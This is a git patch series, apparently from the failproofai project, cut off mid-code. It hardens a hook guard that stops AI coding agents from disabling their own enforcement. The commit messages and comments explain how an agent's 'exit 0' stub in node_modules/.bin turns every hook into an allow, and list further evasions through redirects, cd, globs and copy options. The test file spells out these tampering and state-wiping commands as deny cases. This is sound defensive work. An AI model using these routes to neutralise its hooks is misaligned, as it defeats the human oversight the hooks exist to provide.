Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Project-scope hooks are `npx -y failproofai --hook …`, and npx runs a node_modules/.bin/failproofai it finds in the project or any directory above it before the global install or its cache, without checking it. One agent Write of an `exit 0` stub there turned every later hook in that tree into an allow, in every later session. - FAILPROOFAI_CODE_PATH_RE (from #1050) also matches `.bin/failproofai` and the Windows shims npm and bun write beside it, so the file tools (through links too), the shell walk, variable tracking and globs all see it. - The shell walk also judges the name a source lands under when it is copied, moved or linked INTO a directory (`cp /tmp/x/failproofai node_modules/.bin/`, `-t`, `--target-directory=`), unless the source is itself protected (a backup). - Docs: local-configuration says what a project-scope hook trusts and that user-scope hooks run the installed CLI by absolute path. Co-Authored-By: Claude Opus 5.5 --- docs/policies/local-configuration.mdx | 2 + src/hooks/builtin-policies.ts | 85 ++++++++++++++++++++++++++- 2 files changed, 85 insertions(+), 2 deletions(-) diff --git a/docs/policies/local-configuration.mdx b/docs/policies/local-configuration.mdx index 46fcbace5..4fd54d444 100644 --- a/docs/policies/local-configuration.mdx +++ b/docs/policies/local-configuration.mdx @@ -22,6 +22,8 @@ failproofai policies Not every harness supports local scope; the CLI rejects a scope the selected harness cannot represent. +Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path. npx runs a `failproofai` the project itself provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`, and it applies the project's `.npmrc`. `block-failproofai-commands` refuses an agent's writes to `node_modules/.bin/failproofai`, but it does not read `package.json` or `.npmrc` edits. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so nothing in a repository changes what they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. + Which pack policies are on is **not** scoped. The switch is recorded with the installed pack, so `failproofai policies add ` turns a policy on for the whole machine, whatever `--scope` says. | Scope | Policy configuration file | diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 9c13eef60..34c88d375 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -474,11 +474,17 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; * tampered client never asks it. The state pattern below needs a `.` the * package path does not have (FailproofAI/agenteye#1796). * + * Project-scope hooks are portable instead: `npx -y failproofai --hook …`, so + * the committed file names no machine's path. npx runs a + * `node_modules/.bin/failproofai` it finds in the project, or in ANY directory + * above it, before the global install or its own cache, without checking what + * the file is. So one Write of `exit 0` to that path turned every later hook in + * that tree into an allow, and kept doing it in every later session + * (FailproofAI/agenteye#1795). That entry is matched below too. + * * A checkout of this repository matches none of the shapes below — no * `node_modules` above it, and its entry is `bin/failproofai.mjs` — so the guard * does not stand in front of working on failproofai itself. - * `node_modules/.bin/failproofai`, the stub `npx` prefers, is not matched here - * either (FailproofAI/agenteye#1795). * * Case-insensitive because macOS volumes are by default: every casing of these * paths opens the real file. `(?:\.?[\\/])*` absorbs the `//` and `/./` a path @@ -501,6 +507,15 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // the variables nvm and pnpm export for those directories. A FILE, so a // directory of that name (`~/bin/failproofai/src/…`) is not it. String.raw`(?:[\\/](?:bin|pnpm)|\$\{?(?:NVM_BIN|PNPM_HOME)\}?)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@\\/-])`, + // The entry `npx -y failproofai` runs first: `.bin/failproofai` in a + // `node_modules` of the project or of any directory above it (and in the + // npx cache). With the shims npm (`.cmd`, `.ps1`) and bun (`.exe`, `.bunx`) + // write beside it on Windows. Not anchored on `node_modules`, so the + // relative `.bin/failproofai` a command run from inside `node_modules` + // names is the same file. A FILE, like the entry above: the rest of + // `node_modules/.bin` (every other package's binary, run by path all the + // time) stays out of it. + String.raw`\.bin[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, ].join("|"), "i", ); @@ -677,6 +692,17 @@ const LOOP_HEADER_RE = /(?:^|[\s(])(?:while|until|for|select)\s/; */ const COPY_COMMANDS = new Set(["cp", "rsync", "install"]); +/** + * Commands that put a file into a directory under the file's OWN name. + * + * `cp /tmp/stage/failproofai node_modules/.bin/` writes + * `node_modules/.bin/failproofai`, and that path appears nowhere on the line: + * the source names a scratch file and the destination names a directory that + * holds every package's binary. So the name a source would land under is + * judged as well as the operands as written (FailproofAI/agenteye#1795). + */ +const INTO_DIRECTORY_COMMANDS = new Set(["cp", "mv", "ln", "install", "rsync"]); + /** * Commands that write EVERY path operand they are given. * @@ -843,6 +869,10 @@ const STATE_GLOB_CANDIDATES = [ "/opt/homebrew/bin/failproofai", "~/.bun/bin/failproofai", "~/.volta/bin/failproofai", + // The entry a project-scope `npx -y failproofai` runs (FailproofAI/agenteye#1795). + "node_modules/.bin/failproofai", + "./node_modules/.bin/failproofai", + ".bin/failproofai", ]; /** @@ -865,6 +895,9 @@ const GLOB_DECOYS = [ "node_modules/react", "node_modules/.bin", "./node_modules/react", "node_modules/.pnpm/react@18.0.0", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", + // Other packages' entries beside it, so `rm -rf node_modules/.bin/*` is the + // sweep it is rather than an aim at failproofai's. + "node_modules/.bin/tsc", "./node_modules/.bin/tsc", ".bin/tsc", ]; /** @@ -1292,6 +1325,50 @@ function commandWords(simpleCommand: string): string[] { return tokens.slice(i); } +/** + * True when a copy, move or link would leave one of its sources at a protected + * path inside the directory it writes into (see `INTO_DIRECTORY_COMMANDS`). + * + * The directory is `-t` / `--target-directory`'s value, or else the last + * operand. Whether that operand really is a directory is not checked: when it + * is a file, `/` is a path nothing writes, and it can only match + * when a source is itself named like a protected file and the operand like the + * directory that holds it. A source that is ALREADY a protected path is left to + * the destination check it always had: `cp -r ~/.failproofai /tmp/backup/` + * lands at `/tmp/backup/.failproofai`, a name the state pattern matches, and is + * a backup, not a write onto anything. `rsync src/` copies what is IN `src`, + * whose names are not on the line, so a source with a trailing separator is + * judged by nothing here, as a whole directory moved over a parent never was. + */ +function landsInDirectoryAs(words: string[], namesState: (text: string) => boolean): boolean { + if (words.length === 0 || !INTO_DIRECTORY_COMMANDS.has(commandBasename(words[0]))) return false; + const args = words.slice(1); + const operands: string[] = []; + let directory: string | undefined; + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + operands.push(...args.slice(i + 1)); + break; + } + if (arg === "-t" || arg === "--target-directory") { + directory = args[++i]; + } else if (arg.startsWith("--target-directory=")) { + directory = arg.slice("--target-directory=".length); + } else if (!arg.startsWith("-")) { + operands.push(arg); + } + } + const sources = directory === undefined ? operands.slice(0, -1) : operands; + const into = (directory ?? operands[operands.length - 1] ?? "").replace(/[\\/]+$/, ""); + if (into === "") return false; + return sources.some((source) => { + if (/[\\/]$/.test(source) || namesState(source)) return false; + const name = source.slice(Math.max(source.lastIndexOf("/"), source.lastIndexOf("\\")) + 1); + return name !== "" && name !== "." && name !== ".." && namesState(`${into}/${name}`); + }); +} + /** * True when this one simple command would destroy whatever it is pointed at. * @@ -1524,6 +1601,10 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // the rest of the line was judged as if it stood in the state directory. cwdInState = false; cdParenDepth = null; + } else if (landsInDirectoryAs(words, namesState)) { + // Before the `reachesState` gate, because the point is that nothing on + // the line names the path: the source's name and the directory do. + return true; } else if (reachesState && words.length > 0 && simpleCommandDestroys(words, namesState)) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. From 248036ec4124bfcad4faa992b18bfc05f9078242 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 17:43:53 +0530 Subject: [PATCH 15/89] [hooks] Address review: redirects, -t spellings, cd, globs and .bin swaps (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Independent review found ways past the first commit; each is reproduced in the test file, which now fails 77 of its 78 deny cases on #1050's head and passes all 111 cases here. - commandWords drops redirects and stops at a comment after the command word. The copy checks took the last word for the destination, so `… 2>/dev/null` or `… # x` walked through, for the state as well (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`). - landsInDirectoryAs reads each command's options: every spelling of -t (`-tDIR`, `-vt`, `--target`), option values are not sources (`install -o failproofai`), `install -d` copies nothing, and rsync's -t is --times. A protected-looking source still counts when it lands on installed code (`cp /tmp/bin/failproofai node_modules/.bin/`). A directory moved, linked or copied recursively onto a node_modules/.bin is refused. - The walk follows cd/pushd/popd and subshells, so a relative word after `cd node_modules/.bin` is judged where it resolves. - Globs are tried against every stretch of a path, not only its prefixes: `/work/proj/node_modules/.bin/fail*` and `/home/alice/.failproof*` named nothing before. - The .bin pattern starts a path component (`firmware.bin/failproofai` is not it). Docs no longer overstate what the guard catches. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 106 +++++++++- docs/policies/local-configuration.mdx | 2 +- src/hooks/builtin-policies.ts | 222 ++++++++++++++++---- 3 files changed, 285 insertions(+), 45 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index d844fa6d5..69a2c276a 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -141,6 +141,7 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a name npx never runs for `failproofai`", "/work/proj/node_modules/.bin/failproofai.sh"], ["a project file named after the product", "/work/proj/scripts/failproofai.sh"], ["a directory of that name under .bin", "/work/proj/.bin/failproofai/README.md"], + ["a file under a directory whose name ends in .bin", "/data/firmware.bin/failproofai"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); @@ -187,6 +188,84 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bash("mv /tmp/build/failproofai /home/u/.nvm/versions/node/v22.11.0/lib/node_modules/")).toBe("deny"); }); + // Every GNU spelling of the target directory, which puts the sources AFTER + // it. rsync has no such option: its `-t` is `--times`, and its last operand + // is still the destination. + it.each([ + ["-t glued to its value", "cp -tnode_modules/.bin /tmp/stage/failproofai"], + ["-t at the end of a cluster", "cp -vt node_modules/.bin /tmp/stage/failproofai"], + ["-t inside install's cluster", "install -Dt node_modules/.bin /tmp/stage/failproofai"], + ["-t on ln", "ln -st node_modules/.bin /tmp/stage/failproofai"], + ["an abbreviated --target=", "cp --target=node_modules/.bin /tmp/stage/failproofai"], + ["an abbreviated --target with its value apart", "cp --target node_modules/.bin /tmp/stage/failproofai"], + ["rsync's -t, which is --times", "rsync -t /tmp/stage/failproofai node_modules/.bin/"], + ])("denies a copy into the .bin directory with %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A redirect or a comment after the destination was read as the + // destination, so every copy check judged `2>/dev/null` or `x`. That let + // the state through too, before this file existed. + it.each([ + ["a stderr redirect", "cp /tmp/stub.sh node_modules/.bin/failproofai 2>/dev/null"], + ["a stdout redirect", "install -m 755 /tmp/stub.sh node_modules/.bin/failproofai > /dev/null"], + ["2>&1", "rsync /tmp/stub.sh node_modules/.bin/failproofai 2>&1"], + ["an input redirect", "cp /tmp/stub.sh node_modules/.bin/failproofai < /dev/null"], + ["a comment", "cp /tmp/stub.sh node_modules/.bin/failproofai # keep"], + ["a redirect after a copy into the directory", "cp /tmp/stage/failproofai node_modules/.bin/ 2>/dev/null"], + ["a redirect after a link into the directory", "ln -sf /tmp/stage/failproofai node_modules/.bin 2>/dev/null"], + ["the state, emptied the same way", "cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null"], + ])("denies a write followed by %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A source that names a protected path is a copy OUT, except when it lands + // on installed code: a link spelled `…/bin/failproofai` is still a stub. + it("denies a protected-looking source when it lands on the entry", async () => { + expect(await bash("cp /tmp/bin/failproofai node_modules/.bin/")).toBe("deny"); + expect(await bash("rsync /tmp/bin/failproofai node_modules/.bin/")).toBe("deny"); + }); + + // A protected FILE sits in a directory nothing protects, so the walk has + // to read a relative word from where a `cd` left the shell. + it.each([ + ["a redirect after cd", "cd node_modules/.bin && printf 'exit 0' > failproofai"], + ["a copy after cd", "cd node_modules/.bin && cp /tmp/stub.sh failproofai"], + ["a copy after pushd", "pushd node_modules/.bin && cp /tmp/stub.sh failproofai"], + ["chmod after cd", "cd node_modules/.bin && chmod +x failproofai"], + ["two relative cds", "cd node_modules && cd .bin && cp /tmp/stub.sh failproofai"], + ["a cd outside a subshell that ran its own", "cd node_modules/.bin && (cd /tmp && ls) && cp /tmp/stub.sh failproofai"], + ["a copy of a file named failproofai into the directory", "cd node_modules/.bin && cp /tmp/stage/failproofai ."], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A glob replaces the entry wherever it already exists, whatever path + // leads to it, so the candidates are tried against every stretch of it. + it.each([ + ["a parent directory", "cp /tmp/stub.sh ../node_modules/.bin/fail*"], + ["home", "cp /tmp/stub.sh ~/node_modules/.bin/fail*"], + ["an absolute path", "cp /tmp/stub.sh /work/proj/node_modules/.bin/fail*"], + // `/home/u/.failproofai` is a candidate itself; another home is not. + ["the state, by an absolute path", "rm -rf /home/alice/.failproof*"], + ])("denies a glob onto the entry through %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // npm's bin directory itself: whatever a directory moved, linked or copied + // onto it holds becomes an entry, and npx searches every parent's. + it.each([ + ["a link over home's", "ln -s /tmp/stage ~/node_modules/.bin"], + ["a move", "mv /tmp/stage node_modules/.bin"], + ["a recursive copy", "cp -r /tmp/stage/ node_modules/.bin/"], + ["a copy onto it with -T", "cp -rT /tmp/stage node_modules/.bin"], + ["a copy of a directory's contents", "cp -a /tmp/stage/. node_modules/.bin/"], + ["rsync of a directory's contents", "rsync -a /tmp/stage/ node_modules/.bin/"], + ["a build directory, which becomes the directory when it is missing", "cp -r dist/ node_modules/.bin/"], + ])("denies %s onto node_modules/.bin", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], @@ -201,9 +280,21 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["adding a dev dependency", "npm i -D vitest"], ["copying another tool into the directory", "cp /tmp/stage/my-tool node_modules/.bin/"], ["copying an entry out", "cp node_modules/.bin/failproofai /tmp/inspect"], - ["copying a whole build directory", "cp -r dist/ node_modules/.bin/"], + ["copying an entry out into a directory", "cp node_modules/.bin/failproofai /tmp/inspect/"], ["moving a source file", "mv src/failproofai.ts src/guard.ts"], ["backing a directory up", "cp -r node_modules/.bin /tmp/bin-backup"], + ["backing the state up into a directory", "cp -r ~/.failproofai /tmp/backup/"], + ["backing the state up with a redirect", "cp ~/.failproofai/config.json /tmp/backup.json 2>/dev/null"], + ["reading the state with a redirect", "cat ~/.failproofai/config.json 2>/dev/null"], + // A value is not a source. + ["installing a binary owned by a user of that name", "install -o failproofai -g failproofai -m 0755 build/agentd /usr/local/bin/"], + ["creating directories owned by a user of that name", "install -d -o failproofai /srv/app/bin"], + // `.bin` starts a path component, or it is another name. + ["copying a file onto one whose name ends in .bin", "cp failproofai release.bin"], + ["running a binary after a cd", "cd node_modules/.bin && ./vitest run"], + ["a cd that a subshell undoes", "(cd node_modules/.bin && ls) && cp /tmp/stub.sh failproofai"], + ["copying a tool after a cd", "cd node_modules/.bin && cp /tmp/stage/my-tool ."], + ["clearing a tree's .bin directories", "rm -rf ~/projects/*/node_modules/.bin/*"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); @@ -215,7 +306,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs // file no hook runs. it("protects the name every project-scope npx hook command runs", async () => { const names = new Set(); - let shellIntegrations = 0; + const viaNpx: string[] = []; + const otherwise: string[] = []; for (const integration of listIntegrations()) { if (!integration.scopes.includes("project")) continue; let found = false; @@ -226,8 +318,14 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs found = true; } } - if (found) shellIntegrations++; + (found ? viaNpx : otherwise).push(integration.id); } + // A new integration, or a new launcher (`npx --yes`, `bunx`), lands in one + // of these lists and fails here until the guard is checked against it. + expect(viaNpx.sort()).toEqual(["antigravity", "claude", "codex", "copilot", "cursor", "devin", "factory", "goose"]); + // OpenCode runs npx from the shim checked below; Pi loads the extension by + // a package path, which runs the CLI next to it, not through npx. + expect(otherwise.sort()).toEqual(["opencode", "pi"]); // OpenCode's entry is a plugin path; the npx call is inside the shim that // install writes next to it. const dir = mkdtempSync(join(tmpdir(), "fpai-npx-guard-opencode-")); @@ -244,8 +342,6 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs cwd.mockRestore(); rmSync(dir, { recursive: true, force: true }); } - // Claude, Codex, Copilot, Cursor, Factory, Devin, Antigravity and Goose. - expect(shellIntegrations).toBeGreaterThanOrEqual(8); expect([...names]).toEqual(["failproofai"]); for (const name of names) { expect((await write(`/work/proj/node_modules/.bin/${name}`)).decision).toBe("deny"); diff --git a/docs/policies/local-configuration.mdx b/docs/policies/local-configuration.mdx index 4fd54d444..3f4f9e4ed 100644 --- a/docs/policies/local-configuration.mdx +++ b/docs/policies/local-configuration.mdx @@ -22,7 +22,7 @@ failproofai policies Not every harness supports local scope; the CLI rejects a scope the selected harness cannot represent. -Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path. npx runs a `failproofai` the project itself provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`, and it applies the project's `.npmrc`. `block-failproofai-commands` refuses an agent's writes to `node_modules/.bin/failproofai`, but it does not read `package.json` or `.npmrc` edits. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so nothing in a repository changes what they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. +Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path. npx runs a `failproofai` the project provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`. It also applies the project's `.npmrc` and your own `~/.npmrc`. `block-failproofai-commands` refuses agent commands and file edits that write `node_modules/.bin/failproofai` or put a directory onto a `node_modules/.bin`. It does not refuse a dependency install or an edit to `package.json` or `.npmrc`, any of which can replace what the hook runs. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so a repository does not decide which CLI they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. Which pack policies are on is **not** scoped. The switch is recorded with the installed pack, so `failproofai policies add ` turns a policy on for the whole machine, whatever `--scope` says. diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 34c88d375..4b0464b1c 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -512,10 +512,11 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // npx cache). With the shims npm (`.cmd`, `.ps1`) and bun (`.exe`, `.bunx`) // write beside it on Windows. Not anchored on `node_modules`, so the // relative `.bin/failproofai` a command run from inside `node_modules` - // names is the same file. A FILE, like the entry above: the rest of - // `node_modules/.bin` (every other package's binary, run by path all the - // time) stays out of it. - String.raw`\.bin[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, + // names is the same file; anchored on the start of a path component, so + // `firmware.bin/failproofai` is not it. A FILE, like the entry above: the + // rest of `node_modules/.bin` (every other package's binary, run by path + // all the time) stays out of it. + String.raw`(? = { + cp: { short: "St", long: ["suffix", "target-directory", "sparse", "no-preserve"] }, + mv: { short: "St", long: ["suffix", "target-directory"] }, + ln: { short: "St", long: ["suffix", "target-directory"] }, + install: { short: "mogSt", long: ["mode", "owner", "group", "suffix", "target-directory", "strip-program"] }, + rsync: { + short: "efTBM", + long: [ + "rsh", "filter", "exclude", "include", "exclude-from", "include-from", "files-from", "temp-dir", + "partial-dir", "backup-dir", "suffix", "compare-dest", "copy-dest", "link-dest", "chmod", "chown", + "usermap", "groupmap", "block-size", "max-size", "min-size", "timeout", "contimeout", "port", + "log-file", "out-format", "remote-option", "bwlimit", "rsync-path", "password-file", "info", "debug", + ], + }, +}; + +/** + * npm's bin directory: `node_modules/.bin`, or `.bin` alone once a `cd` put the + * shell in `node_modules`. A directory moved, linked or copied recursively ONTO + * it brings entries the line never names: `ln -s /tmp/stage ~/node_modules/.bin` + * hands every project under `~` without its own entry a `failproofai` from + * `/tmp/stage`, because npx searches each parent's `.bin` (#1795). */ -const INTO_DIRECTORY_COMMANDS = new Set(["cp", "mv", "ln", "install", "rsync"]); +const NPM_BIN_DIRECTORY_RE = /(?:^|[\\/])\.bin$/i; /** * Commands that write EVERY path operand they are given. @@ -875,6 +903,9 @@ const STATE_GLOB_CANDIDATES = [ ".bin/failproofai", ]; +/** How many `/`-separated segments the deepest glob candidate has. */ +const GLOB_CANDIDATE_DEPTH = Math.max(...STATE_GLOB_CANDIDATES.map((candidate) => candidate.split("/").length)); + /** * Ordinary paths a targeted pattern must NOT be able to match. * @@ -1067,6 +1098,17 @@ function wordNamesState(word: string): boolean { for (let end = 1; end <= segments.length; end++) { if (globPrefixNamesState(segments.slice(0, end).join("/"))) return true; } + // And every stretch that starts after a `/`, since the candidates are the + // TAILS of the paths they stand for: `/home/u/.failproof*` and + // `/work/proj/node_modules/.bin/fail*` begin with a prefix no candidate + // spells, so as whole words they named nothing (FailproofAI/agenteye#1795). + // A stretch longer than the deepest candidate cannot equal one. + for (let start = 1; start < segments.length; start++) { + const last = Math.min(segments.length, start + GLOB_CANDIDATE_DEPTH); + for (let end = start + 1; end <= last; end++) { + if (globPrefixNamesState(segments.slice(start, end).join("/"))) return true; + } + } return false; } @@ -1301,9 +1343,20 @@ function commandBasename(token: string): string { * and return the tokens from the command word on. Mirrors the walk in * `classifySelfInvocation` — the same prefixes hide a deleter that hid the * binary, and `xargs -0 rm -f` is the one that matters most here. + * + * After the command word, redirects and a comment are not arguments either. + * They were returned as words, so the copy checks took the LAST one for the + * destination: `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` + * judged `2>/dev/null`, and `… # note` judged `note`, and both walked through. + * A redirect's target is judged by the redirect scan, not here. */ function commandWords(simpleCommand: string): string[] { - const tokens = simpleCommand.trim().split(/\s+/).map(bareToken).filter(Boolean); + const all = simpleCommand + .trim() + .split(/\s+/) + .map((raw) => ({ raw, token: bareToken(raw) })) + .filter(({ token }) => token !== ""); + const tokens = all.map(({ token }) => token); let i = 0; while (i < tokens.length) { const token = tokens[i]; @@ -1322,50 +1375,118 @@ function commandWords(simpleCommand: string): string[] { if (!skippable) break; i++; } - return tokens.slice(i); + const words: string[] = []; + for (let j = i; j < all.length; j++) { + // Read as the shell does, unquoted: `">"` and `"#"` are arguments. + const { raw, token } = all[j]; + if (raw.startsWith("#")) break; + if (j > i && /^\d*(?:>{1,2}\|?|<{1,3})/.test(raw)) { + if (/^\d*(?:>{1,2}\|?|<{1,3})$/.test(raw)) j++; + continue; + } + words.push(token); + } + return words; } /** - * True when a copy, move or link would leave one of its sources at a protected - * path inside the directory it writes into (see `INTO_DIRECTORY_COMMANDS`). + * True when a copy, move or link writes a protected path that its words never + * spell (see `INTO_DIRECTORY_OPTIONS`), or puts a directory onto npm's bin + * directory (see `NPM_BIN_DIRECTORY_RE`). * - * The directory is `-t` / `--target-directory`'s value, or else the last - * operand. Whether that operand really is a directory is not checked: when it - * is a file, `/` is a path nothing writes, and it can only match - * when a source is itself named like a protected file and the operand like the - * directory that holds it. A source that is ALREADY a protected path is left to - * the destination check it always had: `cp -r ~/.failproofai /tmp/backup/` - * lands at `/tmp/backup/.failproofai`, a name the state pattern matches, and is - * a backup, not a write onto anything. `rsync src/` copies what is IN `src`, - * whose names are not on the line, so a source with a trailing separator is - * judged by nothing here, as a whole directory moved over a parent never was. + * The destination is `-t`'s value in any spelling (`-t DIR`, `-tDIR`, `-vt DIR`, + * `--target-directory=DIR`, `--target DIR`), or else the last operand. Each + * source is judged where it would land, `/`. Whether the + * destination really is a directory is not checked: when it is a file, that + * path is one nothing writes, and it matches only when a source is named like a + * protected file and the destination like the directory that holds one. + * + * A source that is itself protected is a copy OUT, so it counts only when it + * lands on installed code: `cp -r ~/.failproofai /tmp/backup/` lands at + * `/tmp/backup/.failproofai`, which the state pattern matches by name, and is a + * backup; `cp /tmp/bin/failproofai node_modules/.bin/` is not, however its + * source is spelled. A source ending in a separator copies what is IN it, whose + * names are not on the line, so it is judged only through the bin-directory + * check. `inShell` resolves a relative word against a `cd` the walk followed. */ -function landsInDirectoryAs(words: string[], namesState: (text: string) => boolean): boolean { - if (words.length === 0 || !INTO_DIRECTORY_COMMANDS.has(commandBasename(words[0]))) return false; - const args = words.slice(1); +function landsInDirectoryAs( + words: string[], + namesState: (text: string) => boolean, + inShell: (word: string) => string = (word) => word, +): boolean { + if (words.length === 0) return false; + const head = commandBasename(words[0]); + const options = INTO_DIRECTORY_OPTIONS[head]; + if (!options) return false; const operands: string[] = []; let directory: string | undefined; + let createsDirectories = false; + let recursive = false; + let ontoItself = false; + const args = words.slice(1); for (let i = 0; i < args.length; i++) { const arg = args[i]; if (arg === "--") { operands.push(...args.slice(i + 1)); break; } - if (arg === "-t" || arg === "--target-directory") { - directory = args[++i]; - } else if (arg.startsWith("--target-directory=")) { - directory = arg.slice("--target-directory=".length); - } else if (!arg.startsWith("-")) { - operands.push(arg); + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + const value = eq === -1 ? undefined : arg.slice(eq + 1); + // GNU takes any unambiguous prefix: `--target DIR` is `--target-directory`. + if (head !== "rsync" && name.length > 0 && "target-directory".startsWith(name)) { + directory = value ?? args[++i]; + } else if (options.long.includes(name)) { + if (value === undefined) i++; + } else if (name === "recursive" || name === "archive") { + recursive = true; + } else if (name === "no-target-directory") { + ontoItself = true; + } else if (head === "install" && name.length > 1 && "directory".startsWith(name)) { + createsDirectories = true; + } + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (options.short.includes(flag)) { + // The rest of the cluster is the value, or else the next word is. + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (flag === "t" && head !== "rsync") directory = value; + break; + } + if (flag === "r" || flag === "R" || flag === "a") recursive = true; + if (flag === "T" && head !== "rsync") ontoItself = true; + if (flag === "d" && head === "install") createsDirectories = true; + } + continue; } + operands.push(arg); + } + if (createsDirectories) return false; + + // `ln -s ` alone links it into the current directory. + const sources = directory !== undefined ? operands : head === "ln" && operands.length === 1 ? operands : operands.slice(0, -1); + const written = directory ?? (head === "ln" && operands.length === 1 ? "." : operands[operands.length - 1]); + if (written === undefined || sources.length === 0) return false; + const destination = inShell(written); + if (directory === undefined && namesState(destination)) return true; + + const into = destination.replace(/(?:[\\/]+\.?)+$/, ""); + if (NPM_BIN_DIRECTORY_RE.test(into)) { + if (head === "mv" || head === "ln") return true; + if (recursive || ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))) return true; } - const sources = directory === undefined ? operands.slice(0, -1) : operands; - const into = (directory ?? operands[operands.length - 1] ?? "").replace(/[\\/]+$/, ""); - if (into === "") return false; + if (into === "" || ontoItself) return false; return sources.some((source) => { - if (/[\\/]$/.test(source) || namesState(source)) return false; + if (/[\\/]$/.test(source)) return false; const name = source.slice(Math.max(source.lastIndexOf("/"), source.lastIndexOf("\\")) + 1); - return name !== "" && name !== "." && name !== ".." && namesState(`${into}/${name}`); + if (name === "" || name === "." || name === "..") return false; + const landing = `${into}/${name}`; + if (!namesState(landing)) return false; + return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing); }); } @@ -1561,6 +1682,18 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // was denying a cleanup in an entirely unrelated directory. let parenDepth = 0; let cdParenDepth: number | null = null; + // Where the `cd`s so far put the shell, as written, when the walk can tell. + // A protected FILE sits in a directory nothing protects, so `cwdInState` never + // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai` names + // `node_modules/.bin/failproofai` only once `failproofai` is read from there + // (FailproofAI/agenteye#1795). The patterns match the tail of a path, so a + // relative `cd` needs no starting directory. A subshell's `cd` is undone + // when it closes, which `shellDirScopes` remembers. + let shellDir: string | undefined; + const shellDirScopes: Array<{ depth: number; dir: string | undefined }> = []; + const inShell = (word: string): string => + shellDir === undefined || word === "" || /^(?:[~/\\$]|[A-Za-z]:)/.test(word) ? word : `${shellDir}/${word}`; + const namesHere = (text: string): boolean => namesState(text) || (shellDir !== undefined && namesState(inShell(text))); // A loop header hands its word list to the body, and the body is a separate // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do // rm -rf $f; done` is a header that only expands and a body that only deletes @@ -1579,9 +1712,9 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // `grep -r sudo ~/.failproofai 2>/dev/null` and // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is // exactly the diagnosis this guard must not block. - if (reachesState) { + if (reachesState || shellDir !== undefined) { for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { - if (namesState(target.replace(/^["']|["']$/g, ""))) return true; + if (namesHere(target.replace(/^["']|["']$/g, ""))) return true; } } @@ -1593,19 +1726,27 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // every later relative path a state path, and a `cd` back out ends that. if (head === "cd" || head 